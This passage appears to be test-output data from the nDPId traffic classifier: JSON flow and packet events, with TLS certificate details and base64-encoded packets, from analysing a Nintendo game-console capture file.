DQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBRRaP+QrwIHdTzM2WVkYqISuFlyOzAfBgNVHSMEGDAWgBSxPsNpA\/i\/RwHUmCYaCALvY2QrwzANBgkqhkiG9w0BAQsFAAOCAQEAGIqViQPmbd9c\/B1o6kqPg9ZRL41rRBaerGP10m5shJmLqoFxhFvtNE6wt3mSKcwtgGrwjiDheaT+A0cT6vWGyllxffQElmvTWVg9\/tMxJVwYOISj5p+C\/YxbmDFOzXieGv2Fy0mq8ieLmXL8PqrVQQva1TahvxxuR0l\/XtlIfAPZ\/YtJoJgmQkDr1pIRpGQKV1TE9R3WAl5rrO7EgJoScvpWk9f\/vzCFBjC\/C39O\/1cFnSTthcMr+6Z1qKwtFu99eSey68KdCwfqqoXTAaMgKEFZQyjSgeOq9ux7O3e2QGKABUFFAe8XBj7ewDObZ9NhLnKH5Gn8EgBXQB5w9R7JtBYDAwFNDAABSQMAF0EEJKHe3+YY8FHx45IAULvdOw=="} +01166{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":159,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":7,"flow_first_seen":1500731341201,"flow_last_seen":1500731341285,"flow_tot_l4_data_len":3148,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1380,"flow_avg_l4_data_len":449,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"54.192.27.8","src_port":31329,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Nintendo","breed":"Fun","category":"Game"},"tls": {"version":"TLSv1.2","client_requested_server_name":"e0d67c509fb203858ebcb2fe3f88c2aa.baas.nintendo.com","server_names":"*.baas.nintendo.com,baas.nintendo.com","ja3":"200a99534ce50d35cf40cc3cce4c69b5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=JP, ST=Kyoto, L=Minami-ku, O=Nintendo Co., Ltd., CN=*.baas.nintendo.com","fingerprint":"8A:0A:1D:D3:A8:96:7A:55:C5:75:B2:2B:3E:45:15:54:0A:B0:FC:94"}} +00860{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":285943,"pkt_caplen":383,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":383,"pkt_l4_len":349,"pkt":"fLuKifuEAA6OGXEMCABFAAFxb8lAAPUG9do2wBsIwKgMcgG7emF9lqcKV\/UbxoAYAHaL6AAAAQEICqg480UAGqqXTNL71iuHyPf\/kLADGDfZjypETISFLIbqgaqpA2DlRwBfvXKFYW\/3mkDDvNMxe9FSBgEBAA5NluTeZyZbhNVs1x5m6fkEN6Ih1b+cv2UeXMEbrbtPQmbLCNeWWIg+VRnMyzqwuLugpmjEEPKppardgBoInUlvw1hfp9Dg6H\/Iw8o6tXLZ5QuWNIzfs7CnYWTQQLLzsq03cWMRubcrUjgQF6DAS1IfjqEQPmb0ef2+wr8u4V2Bu0ETvnmxVw+j4XuZeBNHKHhbzJ31XNP25qgfWMXwKbfcXiL578YS2CTZ29uD3pEjd7yTOuyUKjfZjpUZN5SvtKehtIOQ\/sne2vQ5q4oSzFEituK0k0RzxGTGDlKo\/bYlJNmXtf4bLWbN7W57g\/Rmpj5U43t+0bIkc+lWVXSUyVkWAwMABA4AAAA="} +00426{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":287113,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OGXEMfLuKifuECABFAAA0EZlAAEAGCknAqAxyNsAbCHphAbtX9RvGfZanCoAQAeT7JAAAAQEICgAaqsCoOPNF"} +00599{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":379810,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AA6OGXEMfLuKifuECABFAACyEZxAAEAGCcjAqAxyNsAbCHphAbtX9RvGfZaoR4AYAg5cDgAAAQEICgAaqxqoOPNFFgMDAEYQAABCQQRdwwnZFu4MmOlLH9Hktc1Qg3T0HR0rTnwEJSxtd4UfCeWE9NamkOBWmWpd2lC1Mu0thZYfqrRVn6bZlvyy3QjHFAMDAAEBFgMDACgAAAAAAAAAAA4KxbpnYpcIwstCINxar2\/0j23j5Pi2QcHWHqM1Dzp6"} +00498{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":420083,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"fLuKifuEAA6OGXEMCABFAABnb8pAAPUG9uM2wBsIwKgMcgG7emF9lqhHV\/UcRIAYAHb0agAAAQEICqg481IAGqsaFAMDAAEBFgMDACjVsJiTFQHcRjHBLKep+nH5FSbEDnWBXLhROldtLnsLhhlBCjoqpg2L"} +02256{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":426270,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"AA6OGXEMfLuKifuECABFAAV4EZ1AAEAGBQHAqAxyNsAbCHphAbtX9RxEfZaoeoAQAg4O+QAAAQEICgAaq0qoOPNSFwMDBv8AAAAAAAAAAdcfl8VPPguzgsN2HEIA0YYG3vUNV5w8dprD1hIGMeesLeGnNqR3NWZTnv6KYp8HueN7m7xO4cYM+da1iHBeWXg\/JSwgdSFxQJ6uvzuf1eV2n2H8iH6Kl6XAjh2+Dee++TrrCimhXA8JGoknWw5WrOjQkYRwizhQkURpcVjyg9eTOR0hLx6mkyQB1qNvEGR4acsqxRNpjCqPBI5KMViQXx4yc5Muk\/4nCsNrDLou0uMnqcw9R+3k\/NT533l7LS9UfAUNv1rYRQEnVFIb\/4kSYI2nLEs5cVg\/JtDGiyQfjSLY3iRNvWIeTFtjBc8iBSa\/VWwlKCpb\/eTnSUAOk8Jzr5bVMlRWvVmo9WMybVbUrqzI1CYZk9tBYDcg\/eDqycAHClsc+wKpmKNIxPmWoftKpmVjaI8ueR9upsV5y0tswZDNQwY08QNpkO3w3LhN9hx3aAerwHqBSA7cMTdQalPdK9ozVgSWO9Ibj1f9gTz2wgK+bmGCxbyfJ3h1nAkV15HWStGldWyHsqyNk5O30HiDdC+YQxtvlHPk07ZYqaXvpXrlXQdWcUO6l8WWp\/33hotRSMeTIg1ewVbBhx9liD+BAnKbaGcZV2HRbtiHbw0E0MVPM1J2pDYFC2RynwiZMW2HFRIpJPMpfyxNW2Yxs6shZIDkLq5UEuS16ho1YsnLDI\/YRqI7kxWkRGt70Fq06b\/u60yvOlEzuay9x6dXCqeVCHDlVVfgRcimq4Zk0YHo1JRPtIDN1uO6UoXy2KvsutIq84WfqAz2Br3TCABvCAUIGQOBRT+OFvYL56\/LHqEECB65FMFZIbRoB33keJyTod09WtFGM3nhX4JmsgofPmA7Y6KVAHTdplNMJhfK02jTxHm+WY9i9o\/8syp0E2sy0jAVNu0elP9K0LLHBtkPUaHYPRb4kS+VfYKww5nxo0WIzq\/odONOwVfEdq7kXI419x5BNxN5NiotS5nMTMwZVezy0LDYwEgb4zOLzrFilCTG4jU\/FNAHDMo2iAoSO6KZVz\/xHxvBXtFUIH9etflVmCl\/aPJNK9QOV2gCFN+R7ie15CtM54aqpY8rbneEisPAppBYPExEI6GEe4CoTq8w4kptzvl4a+t2HFDeRaM5FlojTXwMZS5oibuwr3s9v8aJoYNRSF7tuNmP9QcVLU7HdUjb+iXzyN28uJmGiTx2NpWWGHftsvWOYcCpqskAtPCil3VFD0u8heYJQEWQbxJUvYN0nVIQow0ucNNx\/TuTqV65xmftl0oO14bKeZ63KSWrU2EWKwHdw\/zebSVPRsD1hd038gyvs4UQZCnXRmyuF7jUb2QFcySPkCPneYXNl149d7Hyc1OGneGrWe10PouPm+wGd2PpXTNPHRQT0GJaGeamX\/kGTwQcVQwBRWudHtKWq0oOt+zdN2c98wFcNItcpugjm6QyGVydCzUMzJM39D2Lg4Vv1dG5FvpCQwuCUfHlue4CTwnIZO+c7pyt6v+YmpeWmVnJcnJ7MzNyC6d+vhZ0N2gJDIOfurFIMN0GZ8G+wm0FGXnX\/xrE3zfaan9CglUb1bIPdvhBS+wuoINIX7BZSBdFln82ccLeN2fwFAsC\/hEGn+SYwmEjQDJqomnijxHrsM24vbwA3XEpgjTshyUwks55XL184cq3FCwExnbauwRY8v9rVNv5v3gry1HPaILYDAIuZhXf6l2t8MjL3tfBICnC5tB6rZamWg21a1NyqtqtOowWUq6VCorRCFoNSs57LxSd5S\/Y+kCVdtOUPiEoJD3EyQ7bhL29Zw=="} +01040{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":426352,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"AA6OGXEMfLuKifuECABFAAH0EZ5AAEAGCITAqAxyNsAbCHphAbtX9SGIfZaoeoAYAg7\/tQAAAQEICgAaq0qoOPNSwXKqRbwKgwyhmDRzT1utvBut3H0Aec8mMwBBsZIUVrvRzalnOKIgc5aGXoSF9K7nwvqXaWVGbLRUCaIHHgmNEcKLWbyMJ+hDhbPAzbNjZAhDBxZ2zRcK\/xEmtHoUMNENfj+KiV580xZH7EUZT0bLkKz6bJh2OLz7\/NuD0lOXjayberI7RXM5DidS7a7KELkBfhVXyyXiZbdAGIeeuEYyb2U2w1XEuv4jYvlLNXgNfx8milyLnkYxsRCHhnfOZXe1p5XSSo1lJ7Mr93N\/t9DnKDjzUVxkB95uEeSDWFh+3Gu1bIteNcY\/OJAoD\/4WrUgCwJtDN4zQx6xUA9hrWyNXt+YrLVsidKvv5IeqSYFvF6e1xpz8QPWPBHIsyk2RS4e9iJ8HKsHZlFKFi7UqQm0NmygA+OQsnXAod4kDT4klULhngS6mCqi\/1\/AIVxQgmNF6trH5rzfg3ymdLliThxhiDh6\/klKuELnczwIERpEZm84lRijxCWLJ3dEh+mG5Tv8Lcu1LH3KHBHOwZV0pHHJ16a1mEDRQGc29xeAxK30LRNsgCjIOUOE+2oA8NoKWHZqEl8\/2hE0elFEskJeDYy4vlA=="} +00428{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":464411,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fLuKifuEAA6OGXEMCABFAAA0b8tAAPUG9xU2wBsIwKgMcgG7emF9lqh6V\/UjSIAQAIvy7wAAAQEICqg481cAGqtK"} +01972{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731341,"pkt_ts_usec":662738,"pkt_caplen":1200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1200,"pkt_l4_len":1166,"pkt":"fLuKifuEAA6OGXEMCABFAASib8xAAPUG8qY2wBsIwKgMcgG7emF9lqh6V\/UjSIAYAItQiwAAAQEICqg482oAGqtKFwMDBGnVsJiTFQHcR+UKbYU\/bYCM\/cv9QkfmwPmrdGCe3n7QYfatT4jRfkbhcFvQnvfBgwpFSorybj+mzTB8IYF\/qxdljaBGo3Tle0JK+2dE3vQR798L\/m0CS6m35jyC5Hv16Q5dhmutuilz1kRUenh7lSEf8TH\/Mow+3axt9KuHgl1rYNF7Hq5ApIY2lt7CDJ31wF8217hZHtvJepjsXNnb6y7hWJR8eSIOBM7pIG1\/CiCYa7p5mSgKhDdpW0OAFiWTLRFHxokv19GOLCqc300jq4hAIN9o9PZmcj+SkUXG6YeAFkQbanqF0s0icI5NTLIPiAFifqxwhJdQ\/rSP6M2Nbjy+XJJCsGUJSFJNl8dvYMEKSIiSyvQTFkwAkUglAHiH\/YQm0wEQp2ULiThraDcLpvLPbTIU41FLbHYHK+OmrTtN0EI2rWSXkRWunESLWLJfchvIfhSS4KqgmrRzjGceqSNlIzfSa17JxjW\/EjcZCKh0AlOr0tCk7OMkRgn3lFFm\/JJ85vZ7bpqgtfZNBJ7KrvnwbdZMOzUsF5308qg9vB2WnffuO5FoIvE\/ZN7FoIOqv5rXwQDvsLSZKwUzsG0TEDD3jpa60NNIMHmJUsYjMj5uwPy\/gGdD2PqKJEi3te1pxzyYh\/acM1dtpR\/b7LZX4BaxKeziiMbXJvkt2yKfqk27H7VBCs2za73F3bJ8NTxjrsq79aV8AkCuib2LBLJpRru7JGqSgDn+i0niZk+pG4Ybvpn45oT\/4i7K28pAoXOu7La+kYNGUl7CBI44VOERpdVP5Z9XpSno+SKKPQXWKS8ubojxm4ZI2Ljy6fSLovkwycGiICNFEMnoO3T9CtI3sI6pVet0eCK0ZoQtxUNrDRE+XyBkHexvAfe8weHH+F0VEgN\/i\/0CJxh2OoqK4V8uHMZP742CDgdyutMGSDQme+TZdQnVeD65eMCwNSqZuW\/LZMZc+tAUZDJ4pf9l9+2+vWlT7slIjKKz2FEu9D2sb0+iBMLkZjl7dOBFlEzQK8CdhhuKCZzZabkPVeb2r44feNCyisz43u0tJuLk\/qBELp0+v5v\/DX7fPWWhBsChcDv1kWx9qsW48EZNXkyRWl9uPOnqK3+EACgbOyNinL0Pt2WUrKsaEkgluQ70jCnO\/0TTBDbMvXy0pES7TF4+cdQsT\/k7zG6lWimnk0PEvCWkNJmNXX+rldvlLNH6NjnLaaUyyL0DO9Rs6TE75jFpuWarwb095Ns4PZuOSWdCR8PzKAOsseP28i68BTRHFrFX7+bR\/q3zlDD2aLWV9Y8YsLd\/qogmX3pmnKozljyvbf5q76m9OSicquJUiVBWXjYUKg5L2j15K+iYXVPHmy7dMYRS0wg8sEbhS9e96rz1Tni2MDZVmuxzz+T6FRa6mLB1UflOrmR64mBqFNqBo6i\/SAYdNSFtLoRCZhnpjrH5rhnHU3ivZxSQzIB99TFWCK3CPrh3vXt8eM4KEiTaqFoyZ+ictXqiu0dpaduim\/vJ"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":187,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1500731342849,"flow_last_seen":0,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":84,"flow_max_l4_data_len":84,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"185.118.169.65","src_port":55915,"dst_port":27520,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00501{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731342,"pkt_ts_usec":849734,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEaUAAAQRdQ7AqAxyuXapQdpra4AAVCIdMquYZAIAAADswAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+4rX5hDUY6wfFQBAZE4XnJazusJzbVQnhevgQppjVzdvQ=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":187,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1500731342849,"flow_last_seen":0,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":84,"flow_max_l4_data_len":84,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"185.118.169.65","src_port":55915,"dst_port":27520,"l4_proto":"udp","ndpi": {"proto":"Nintendo","breed":"Fun","category":"Game"}} +00502{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731342,"pkt_ts_usec":850014,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEaYAAAQRdQ3AqAxyuXapQdpra4AAVAI0MquYZAIAAADswQAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+6gjif1bWs4geU7XixG1qL9vpm\/9BWOrfz2cCbEeSTC5w=="} +00503{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731342,"pkt_ts_usec":850411,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEacAAAQRdQzAqAxyuXapQdpra4AAVKPSMquYZAIAAADswQAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+6PDZdQtmr\/jnYvUCnbuXCGD7lHXmsq3069ZX\/zt70P0A=="} +00447{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":190,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1500731342860,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"151.6.184.100","dst_ip":"192.168.12.114","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731342,"pkt_ts_usec":860163,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAWRkAAAAARQAAaBGlAAABEXgOwKgMcrl2qUHaa2uAAFRVpg=="} +00479{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":190,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1500731342860,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"151.6.184.100","dst_ip":"192.168.12.114","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00434{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731342,"pkt_ts_usec":860327,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAeQIAAAAARQAAaBGmAAABEXgNwKgMcrl2qUHaa2uAAFQ1vQ=="} +00434{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731342,"pkt_ts_usec":860362,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsA12MAAAAARQAAaBGnAAABEXgMwKgMcrl2qUHaa2uAAFTXWw=="} +00500{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":60422,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEakAAAQRdQrAqAxyuXapQdpra4AAVHapMquYZAIAAADtlAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+4Hc0ryUhsZTl7hgk81YTyPwkwwi1eAZXwUjozo1ieJWw=="} +00500{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":60665,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEaoAAAQRdQnAqAxyuXapQdpra4AAVOw0MquYZAIAAADtlAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+4v43Lf+EKImUrhG2nv8WvwCeRPn7wxZdni63dPOdtWwg=="} +00500{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":61096,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEasAAAQRdQjAqAxyuXapQdpra4AAVIGbMquYZAIAAADtlAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+6P92OaheHCo+iD5a31NND0BACVpyIT8NMwwnLbRUNQ6g=="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":199,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1500731343061,"flow_last_seen":0,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":84,"flow_max_l4_data_len":84,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"93.237.131.235","src_port":55915,"dst_port":56066,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00501{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":61460,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEawAAAQR9ebAqAxyXe2D69pr2wIAVCbFMquYZAIAAADtlwAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+4hx\/onxePqCY4SU3xjlxtsTZQnwdACOZdpevYKG6n8bw=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":199,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1500731343061,"flow_last_seen":0,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":84,"flow_max_l4_data_len":84,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"93.237.131.235","src_port":55915,"dst_port":56066,"l4_proto":"udp","ndpi": {"proto":"Nintendo","breed":"Fun","category":"Game"}} +00501{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":62186,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEa0AAAQR9eXAqAxyXe2D69pr2wIAVEC8MquYZAIAAADtlwAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+6trKJ4rbcL8S1NPouV27EIOISc3sHWS\/Ay6NZ9dnLpeA=="} +00500{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":64914,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEa4AAAQR9eTAqAxyXe2D69pr2wIAVHIfMquYZAIAAADtmAAAiVxWTHQXYLkMmEhv3TFhCo9D90XwqWXbgOlZDx\/Hd+4QxoxAISmRWzt9Cf2ANrWvuCF9xJxAb2QUBmXaTP0ETQ=="} +00433{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":69973,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsABI0AAAAARQAAaBGpAAABEXgKwKgMcrl2qUHaa2uAAFSqMg=="} +00433{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":70299,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsA5O4AAAAARQAAaBGsAAABEfjmwKgMcl3tg+vaa9sCAFRaTg=="} +00433{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":70821,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsAjwEAAAAARQAAaBGqAAABEXgJwKgMcrl2qUHaa2uAAFQfvg=="} +00433{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731343,"pkt_ts_usec":70864,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"fLuKifuEAA6OGXEMCABFAAA4AAAAAPwBoj+XBrhkwKgMcgsA+ZoAAAAARQAAaBGrAAABEXgIwKgMcrl2qUHaa2uAAFS1JA=="} 